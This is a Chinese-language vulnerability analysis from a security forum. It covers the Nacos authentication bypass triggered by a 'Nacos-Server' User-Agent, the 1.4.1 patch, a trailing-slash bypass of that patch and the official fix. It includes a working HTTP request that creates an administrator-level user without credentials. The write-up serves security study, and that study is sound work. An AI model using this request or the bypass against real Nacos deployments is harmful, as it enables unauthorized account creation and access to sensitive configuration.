漏洞原理本身不复杂,但是整个分析过程、后续的补丁绕过,以及认证绕过的后续利用挖掘,还是很有意思,因此写这篇文章进行分析。
漏洞背景
阿里巴巴在2018年7月份发布Nacos, Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。简单来说,Nacos就是一个类似于Zookeeper的配置中心。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为"Nacos-Server",如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
漏洞详情
漏洞出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter
函数,如果useragent等于Constants.NACOS_SERVER_HEADER
这个常量,那么就进入下一个filter,不在进行认证校验。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
if (method.isAnnotationPresent(Secured.class) && authConfigs.isAuthEnabled()) {
if (Loggers.AUTH.isDebugEnabled()) {
Loggers.AUTH.debug("auth start, request: {} {}", req.getMethod(), req.getRequestURI());
}
Secured secured = method.getAnnotation(Secured.class);
String action = secured.action().toString();
String resource = secured.resource();
if (StringUtils.isBlank(resource)) {
ResourceParser parser = secured.parser().newInstance();
resource = parser.parseName(req);
}
if (StringUtils.isBlank(resource)) {
// deny if we don't find any resource:
throw new AccessException("resource name invalid!");
}
authManager.auth(new Permission(resource, action), authManager.login(req));
}
chain.doFilter(request, response);
} catch (AccessException e) {
if (Loggers.AUTH.isDebugEnabled()) {
Loggers.AUTH.debug("access denied, request: {} {}, reason: {}", req.getMethod(), req.getRequestURI(),
e.getErrMsg());
}
resp.sendError(HttpServletResponse.SC_FORBIDDEN, e.getErrMsg());
return;
} catch (IllegalArgumentException e) {
resp.sendError(HttpServletResponse.SC_BAD_REQUEST, ExceptionUtil.getAllExceptionMsg(e));
return;
} catch (Exception e) {
resp.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Server failed," + e.getMessage());
return;
}
}
绕过认证之后就可以进行很多危险的操作,例如com.alibaba.nacos.console.controller.UserController
中的操作。
@Secured(resource = NacosAuthConfig.CONSOLE_RESOURCE_NAME_PREFIX + "users", action = ActionTypes.WRITE)
@PostMapping
public Object createUser(@RequestParam String username, @RequestParam String password) {
User user = userDetailsService.getUserFromDatabase(username);
if (user != null) {
throw new IllegalArgumentException("user '" + username + "' already exist!");
}
userDetailsService.createUser(username, PasswordEncoderUtil.encode(password));
return RestResultUtils.success("create user ok!");
}
这个controller中包含了创建用户、删除用户等行为
如下poc即可创建一个新用户
POST /nacos/v1/auth/users?username=123&password=123 HTTP/1.1
User-Agent: Nacos-Server
Host: 127.0.0.1:8848
Accept: */*
补丁修复
在1.4.1版本中,增加了一段修复代码,第一个if中,为原本的逻辑,也是默认情况下的逻辑,依然是判断User-Agent头中是否是以Nacos-server开头,,第二个if中为新增逻辑,从用户的请求中获取一个键值对,判断与配置中的键值对是否相同,如果不相同则不会进入chain.doFilter
补丁绕过
在补丁的第二个if中,如果用户开启了这个安全配置,且攻击者匹配失败,那么不会进入chain.doFilter,而是继续往之后的流程走,而在这段代码的下方,是这段代码
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
如果能使getMethod方法返回null,那么认证就会被绕过。
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
从代码来看,有多个返回null的机会,先看第一个getPath函数
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
这个是我们的请求路径,不可能为null,看第二部分
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
这个urllookup存放了所有的api
这里的绕过用到了一个小trick,一个普通的请求
http://127.0.0.1/user/login?username=1&password=2
通过new URI(request.getRequestURI()).getPath();
处理后,得到的path是/user/login
。
但是如果请求长这个样子
http://127.0.0.1/user/login/?username=1&password=2
那么得到的path会是/user/login/
而这样子的path,在urlkey中会get不到数据,从而导致了绕过,并且在后续的filter处理中这个多出来的/
并不会影响路由结果。
绕过补丁
官方在这个commit中修复了这此绕过https://github.com/alibaba/nacos/commit/2cc0be6ae1cee1f2bcd2b19886380a15004eae47#diff-d5e3e36338473d502083b47c9a5d3e162203eb17eea81e406bfa2e046ff30c7f。
在urllookup中存放URL路径时均会在最后增加一个/
,导致之前的绕过失效。
- 本文作者: 无糖
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/573
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!